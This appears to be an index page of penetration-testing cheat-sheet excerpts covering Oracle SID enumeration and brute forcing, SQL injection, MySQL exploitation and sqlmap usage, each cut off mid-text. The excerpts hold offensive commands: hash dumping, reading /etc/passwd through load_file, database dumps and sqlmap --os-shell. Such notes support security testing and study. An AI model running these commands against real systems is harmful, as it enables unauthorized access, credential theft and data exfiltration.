• Oracle SQL

    In Ora­cle SQL, a SID (Ser­vice Iden­ti­fi­er) is basi­cal­ly a database. Enumeration Get gen­er­al information tnscmd10g -h $target Try to get a SID: tnscmd10g status-p 1521 -h $target Anoth­er tool: Ora­cle Scanner oscanner -s $target -P 1521 Metas­ploit module scanner/oracle/tnslsnr_version Brute force SID hydra -L /usr/share/metasploit-framework/data/wordlists/sid.txt -s 1521 $target oracle-sid nmap --script oracle-sid-brute -p 1521 $target Brute…

  • SQL injections

    Union-based injections Blind SQL injections If no out­put is giv­en from a state­ment, try to use time-based approaches. Enumerating in inserts Assum­ing the INSERT state­ment is INSERT INTO $tablename (email,name) VALUES ("email", "name"); Then try a tim­ing attack to deter­mine if a cer­tain val­ue is in a field: INSERT INTO newsletter (name,email) VALUES ('name', ' ' AND…

  • Con­nect: mysql --host=10.10.10.13 -P4444 -u admin admin Var­i­ous commands: Enumeration Nmap scripts nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $victim proxychains4 -q nmap -sV -sT -Pn -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 $victim Exploitation Read and write Read with the cur­rent process id: SELECT load_file('/etc/passwd'); Write as the dae­mon process id: CREATE TABLE bbb(content TEXT); INSERT INTO bbb (content)…

  • sqlmap

    Stan­dard case: $ python sqlmap.py -u http://10.10.10.140/index.php/catalogsearch/result/?q=e More aggre­sive: Dump DB: sqlmap -u http://target/command.php?id=564 --dbms=mysql --dump --threads=5 sqlmap -u http://target/command.php?id=564 --dbms=mysql --tables Get shell: sqlmap -u http://target/command.php?id=564 --dbms=mysql --os-shell Use an exist­ing HTTP request as tem­plate. E.g. store a request in a text file: POST /index.php HTT/1.1Header: value... Then, use sqlmap with this file request.txt: sqlmap -r…